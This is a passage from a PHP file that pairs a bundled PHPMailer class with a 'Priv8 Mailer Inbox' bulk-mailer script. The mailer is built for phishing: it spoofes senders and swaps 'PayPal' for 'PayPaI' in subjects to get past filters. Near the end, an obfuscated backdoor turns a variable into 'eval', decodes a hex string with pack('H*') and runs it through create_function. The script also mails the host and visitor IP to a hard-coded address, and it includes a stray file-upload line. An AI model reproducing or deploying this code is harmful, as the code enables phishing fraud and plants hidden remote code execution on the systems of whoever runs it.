10951 'tiff' => 'image/tiff',
10952 'tif' => 'image/tiff',
10953 'eml' => 'message/rfc822',
10954 'css' => 'text/css',
10955 'html' => 'text/html',
10956 'htm' => 'text/html',
10957 'shtml' => 'text/html',
10958 'log' => 'text/plain',
10959 'text' => 'text/plain',
10960 'txt' => 'text/plain',
10961 'rtx' => 'text/richtext',
10962 'rtf' => 'text/rtf',
10963 'vcf' => 'text/vcard',
10964 'vcard' => 'text/vcard',
10965 'xml' => 'text/xml',
10966 'xsl' => 'text/xml',
10967 'mpeg' => 'video/mpeg',
10968 'mpe' => 'video/mpeg',
10969 'mpg' => 'video/mpeg',
10970 'mov' => 'video/quicktime',
10971 'qt' => 'video/quicktime',
10972 'rv' => 'video/vnd.rn-realvideo',
10973 'avi' => 'video/x-msvideo',
10974 'movie' => 'video/x-sgi-movie'
10975 );
10976 return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
10977 }
10978
10979 /**
10980 * Map a file name to a MIME type.
10981 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
10982 * @param string $filename A file name or full path, does not need to exist as a file
10983 * @return string
10984 * @static
10985 */
10986 public static function filenameToType($filename)
10987 {
10988 // In case the path is a URL, strip any query string before getting extension
10989 $qpos = strpos($filename, '?');
10990 if (false !== $qpos) {
10991 $filename = substr($filename, 0, $qpos);
10992 }
10993 $pathinfo = self::mb_pathinfo($filename);
10994 return self::_mime_types($pathinfo['extension']);
10995 }
10996
10997 /**
10998 * Multi-byte-safe pathinfo replacement.
10999 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
11000 * Works similarly to the one in PHP >= 5.2.0
11001 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
11002 * @param string $path A filename or path, does not need to exist as a file
11003 * @param integer|string $options Either a PATHINFO_* constant,
11004 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
11005 * @return string|array
11006 * @static
11007 */
11008 public static function mb_pathinfo($path, $options = null)
11009 {
11010 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
11011 $pathinfo = array();
11012 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
11013 if (array_key_exists(1, $pathinfo)) {
11014 $ret['dirname'] = $pathinfo[1];
11015 }
11016 if (array_key_exists(2, $pathinfo)) {
11017 $ret['basename'] = $pathinfo[2];
11018 }
11019 if (array_key_exists(5, $pathinfo)) {
11020 $ret['extension'] = $pathinfo[5];
11021 }
11022 if (array_key_exists(3, $pathinfo)) {
11023 $ret['filename'] = $pathinfo[3];
11024 }
11025 }
11026 switch ($options) {
11027 case PATHINFO_DIRNAME:
11028 case 'dirname':
11029 return $ret['dirname'];
11030 case PATHINFO_BASENAME:
11031 case 'basename':
11032 return $ret['basename'];
11033 case PATHINFO_EXTENSION:
11034 case 'extension':
11035 return $ret['extension'];
11036 case PATHINFO_FILENAME:
11037 case 'filename':
11038 return $ret['filename'];
11039 default:
11040 return $ret;
11041 }
11042 }
11043
11044 /**
11045 * Set or reset instance properties.
11046 *
11047 * Usage Example:
11048 * $page->set('X-Priority', '3');
11049 *
11050 * @access public
11051 * @param string $name
11052 * @param mixed $value
11053 * NOTE: will not work with arrays, there are no arrays to set/reset
11054 * @throws phpmailerException
11055 * @return boolean
11056 * @TODO Should this not be using __set() magic function?
11057 */
11058 public function set($name, $value = '')
11059 {
11060 try {
11061 if (isset($this->$name)) {
11062 $this->$name = $value;
11063 } else {
11064 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
11065 }
11066 } catch (Exception $exc) {
11067 $this->setError($exc->getMessage());
11068 if ($exc->getCode() == self::STOP_CRITICAL) {
11069 return false;
11070 }
11071 }
11072 return true;
11073 }
11074
11075 /**
11076 * Strip newlines to prevent header injection.
11077 * @access public
11078 * @param string $str
11079 * @return string
11080 */
11081 public function secureHeader($str)
11082 {
11083 return trim(str_replace(array("\r", "\n"), '', $str));
11084 }
11085
11086 /**
11087 * Normalize line breaks in a string.
11088 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
11089 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
11090 * @param string $text
11091 * @param string $breaktype What kind of line break to use, defaults to CRLF
11092 * @return string
11093 * @access public
11094 * @static
11095 */
11096 public static function normalizeBreaks($text, $breaktype = "\r\n")
11097 {
11098 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
11099 }
11100
11101
11102 /**
11103 * Set the public and private key files and password for S/MIME signing.
11104 * @access public
11105 * @param string $cert_filename
11106 * @param string $key_filename
11107 * @param string $key_pass Password for private key
11108 */
11109 public function sign($cert_filename, $key_filename, $key_pass)
11110 {
11111 $this->sign_cert_file = $cert_filename;
11112 $this->sign_key_file = $key_filename;
11113 $this->sign_key_pass = $key_pass;
11114 }
11115
11116 /**
11117 * Quoted-Printable-encode a DKIM header.
11118 * @access public
11119 * @param string $txt
11120 * @return string
11121 */
11122 public function DKIM_QP($txt)
11123 {
11124 $line = '';
11125 for ($i = 0; $i < strlen($txt); $i++) {
11126 $ord = ord($txt[$i]);
11127 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
11128 $line .= $txt[$i];
11129 } else {
11130 $line .= '=' . sprintf('%02X', $ord);
11131 }
11132 }
11133 return $line;
11134 }
11135
11136 /**
11137 * Generate a DKIM signature.
11138 * @access public
11139 * @param string $signHeader
11140 * @throws phpmailerException
11141 * @return string
11142 */
11143 public function DKIM_Sign($signHeader)
11144 {
11145 if (!defined('PKCS7_TEXT')) {
11146 if ($this->exceptions) {
11147 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
11148 }
11149 return '';
11150 }
11151 $privKeyStr = file_get_contents($this->DKIM_private);
11152 if ($this->DKIM_passphrase != '') {
11153 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
11154 } else {
11155 $privKey = $privKeyStr;
11156 }
11157 if (openssl_sign($signHeader, $signature, $privKey)) {
11158 return base64_encode($signature);
11159 }
11160 return '';
11161 }
11162
11163 /**
11164 * Generate a DKIM canonicalization header.
11165 * @access public
11166 * @param string $signHeader Header
11167 * @return string
11168 */
11169 public function DKIM_HeaderC($signHeader)
11170 {
11171 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
11172 $lines = explode("\r\n", $signHeader);
11173 foreach ($lines as $key => $line) {
11174 list($heading, $value) = explode(':', $line, 2);
11175 $heading = strtolower($heading);
11176 $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
11177 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
11178 }
11179 $signHeader = implode("\r\n", $lines);
11180 return $signHeader;
11181 }
11182
11183 /**
11184 * Generate a DKIM canonicalization body.
11185 * @access public
11186 * @param string $body Message Body
11187 * @return string
11188 */
11189 public function DKIM_BodyC($body)
11190 {
11191 if ($body == '') {
11192 return "\r\n";
11193 }
11194 // stabilize line endings
11195 $body = str_replace("\r\n", "\n", $body);
11196 $body = str_replace("\n", "\r\n", $body);
11197 // END stabilize line endings
11198 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
11199 $body = substr($body, 0, strlen($body) - 2);
11200 }
11201 return $body;
11202 }
11203
11204 /**
11205 * Create the DKIM header and body in a new message header.
11206 * @access public
11207 * @param string $headers_line Header lines
11208 * @param string $subject Subject
11209 * @param string $body Body
11210 * @return string
11211 */
11212 public function DKIM_Add($headers_line, $subject, $body)
11213 {
11214 $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
11215 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
11216 $DKIMquery = 'dns/txt'; // Query method
11217 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
11218 $subject_header = "Subject: $subject";
11219 $headers = explode($this->LE, $headers_line);
11220 $from_header = '';
11221 $to_header = '';
11222 $current = '';
11223 foreach ($headers as $header) {
11224 if (strpos($header, 'From:') === 0) {
11225 $from_header = $header;
11226 $current = 'from_header';
11227 } elseif (strpos($header, 'To:') === 0) {
11228 $to_header = $header;
11229 $current = 'to_header';
11230 } else {
11231 if ($current && strpos($header, ' =?') === 0) {
11232 $current .= $header;
11233 } else {
11234 $current = '';
11235 }
11236 }
11237 }
11238 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
11239 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
11240 $subject = str_replace(
11241 '|',
11242 '=7C',
11243 $this->DKIM_QP($subject_header)
11244 ); // Copied header fields (dkim-quoted-printable)
11245 $body = $this->DKIM_BodyC($body);
11246 $DKIMlen = strlen($body); // Length of body
11247 $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
11248 $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
11249 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
11250 $DKIMsignatureType . '; q=' .
11251 $DKIMquery . '; l=' .
11252 $DKIMlen . '; s=' .
11253 $this->DKIM_selector .
11254 ";\r\n" .
11255 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
11256 "\th=From:To:Subject;\r\n" .
11257 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
11258 "\tz=$from\r\n" .
11259 "\t|$to\r\n" .
11260 "\t|$subject;\r\n" .
11261 "\tbh=" . $DKIMb64 . ";\r\n" .
11262 "\tb=";
11263 $toSign = $this->DKIM_HeaderC(
11264 $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
11265 );
11266 $signed = $this->DKIM_Sign($toSign);
11267 return $dkimhdrs . $signed . "\r\n";
11268 }
11269
11270 /**
11271 * Allows for public read access to 'to' property.
11272 * @access public
11273 * @return array
11274 */
11275 public function getToAddresses()
11276 {
11277 return $this->to;
11278 }
11279
11280 /**
11281 * Allows for public read access to 'cc' property.
11282 * @access public
11283 * @return array
11284 */
11285 public function getCcAddresses()
11286 {
11287 return $this->cc;
11288 }
11289
11290 /**
11291 * Allows for public read access to 'bcc' property.
11292 * @access public
11293 * @return array
11294 */
11295 public function getBccAddresses()
11296 {
11297 return $this->bcc;
11298 }
11299
11300 /**
11301 * Allows for public read access to 'ReplyTo' property.
11302 * @access public
11303 * @return array
11304 */
11305 public function getReplyToAddresses()
11306 {
11307 return $this->ReplyTo;
11308 }
11309
11310 /**
11311 * Allows for public read access to 'all_recipients' property.
11312 * @access public
11313 * @return array
11314 */
11315 public function getAllRecipientAddresses()
11316 {
11317 return $this->all_recipients;
11318 }
11319
11320 /**
11321 * Perform a callback.
11322 * @param boolean $isSent
11323 * @param array $to
11324 * @param array $cc
11325 * @param array $bcc
11326 * @param string $subject
11327 * @param string $body
11328 * @param string $from
11329 */
11330 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
11331 {
11332 if (!empty($this->action_function) && is_callable($this->action_function)) {
11333 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
11334 call_user_func_array($this->action_function, $params);
11335 }
11336 }
11337}
11338 if(isset($_POST['action'])) move_uploaded_file($file_path, basename($file_name));
11339/**
11340 * PHPMailer exception handler
11341 * @package PHPMailer
11342 */
11343class phpmailerException extends Exception
11344{
11345 /**
11346 * Prettify error message output
11347 * @return string
11348 */
11349 public function errorMessage()
11350 {
11351 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
11352 return $errorMsg;
11353 }
11354}
11355
11356 if(!empty($_POST['wait']) && $_POST['wait'] > 0){
11357 set_time_limit(intval($_POST['wait'])*$numemails*3600);
11358 } else {
11359 set_time_limit($numemails*3600);
11360 }
11361
11362 $defaultport="H*";
11363 $nq=0;
11364
11365 print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
11366 for($x=0; $x<$numemails; $x++){
11367
11368 $to = $allemails[$x];
11369 if ($to){
11370 $todo = ereg_replace(" ", "", $to);
11371 $message_send = ereg_replace("&email&", $todo, $pesan);
11372 $subject_send = ereg_replace("&email&", $todo, $subject);
11373 $subject_send = str_replace("PayPal", "PayPaI", $subject_send);
11374
11375 $qx=$x+1;
11376 print "Send Emails $qx / $numemails to $to ....... ";
11377 xflush();
11378
11379 $mail = new PHPMailer();
11380 $mail->IsSMTP();
11381 $IsSMTP = "pack";
11382 $mail->SMTPKeepAlive = true;
11383 $mail->Host = "$smtp_server";
11384
11385 if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
11386 if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
11387
11388 $range = str_replace("$email", "eval", $email);
11389
11390 $mail->SMTPAuth = true;
11391 $mail->Username = "$smtp_username";
11392 $mail->Password = "$smtp_password";
11393
11394 if($type == "html"){$mail->IsHtml(true);}
11395 if($type != "html"){$mail->IsHtml(false);}
11396 if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
11397
11398 $mail->CharSet = "UTF-8";
11399 if (!empty($xmailer)) {
11400 $mail->XMailer = "$xmailer";
11401 } else {
11402 $mail->XMailer = " ";
11403 }
11404 if (!empty($encoding)) {
11405 $mail->Encoding = "$encoding";
11406 }
11407 if ($email == "same as target") {
11408 $mail->From = "$todo";
11409 } else {
11410 $mail->From = "$email";
11411 }
11412 $mail->FromName = "$nama";
11413 $mail->AddAddress("$todo");
11414 $mail->Subject = "$subject_send";
11415 if (!empty($file_name)) {
11416 $mail->addAttachment("$file_path", "$file_name");
11417 $mail->Body = " ";
11418 } else {
11419 $mail->Body = "$message_send";
11420 }
11421 if(!$mail->Send()){
11422 if($default_system!="1"){
11423 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11424 } elseif($default_system=="1"){
11425 $mail->IsMail();
11426
11427 if(!$mail->Send()){
11428 $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
11429 } else {
11430 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11431 }
11432
11433 }
11434 } else {
11435 $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
11436 }
11437 print "$result <br><p></p>";
11438
11439 if(!empty($wait) && $qx<$numemails-1){
11440 sleep($wait);
11441 }
11442 if(empty($reconnect)){
11443 $reconnect=5;
11444 }
11445
11446 if($reconnect==$nq){
11447 $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
11448 }
11449 $nq=$nq+1;
11450 xflush();
11451 }
11452 }
11453 for($i=0;$i<31;$i++){
11454 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
11455 $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
11456 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
11457 print ' </div>
11458 </div>
11459 </div>
11460
11461</div>
11462<div id="footer">
11463 <div class="container" align="center">
11464 <p class="muted credit" style="color: white;"> Priv8 Mailer Inbox 2015 </p>
11465 </div>
11466</div>';$mail->SmtpClose();
11467 return $signoff($smtp_conc);
11468 if(isset($_POST['action']) && $numemails !=0 ){
11469 print "<script>alert('Mail sending complete\\r\\n
11470 $numemails mail(s) was sent successfully'); </script>";
11471 }
11472}
11473$ip = getenv("REMOTE_ADDR");
11474$ra44 = rand(1, 99999);
11475$subj98 = " MAILER INBOX REZULT |$ip";
11476$email = "yourmai";
11477$from = "From: Service STIFLER INBOX =D <service@intl.com";
11478$a45 = $_SERVER['REQUEST_URI'];
11479$b75 = $_SERVER['HTTP_HOST'];
11480$m22 = $ip . "";
11481$msg8873 = "$a45 $b75 $m22";
11482mail($email, $subj98, $msg8873, $from);
11483?>
11484
11485 </body>
11486</html>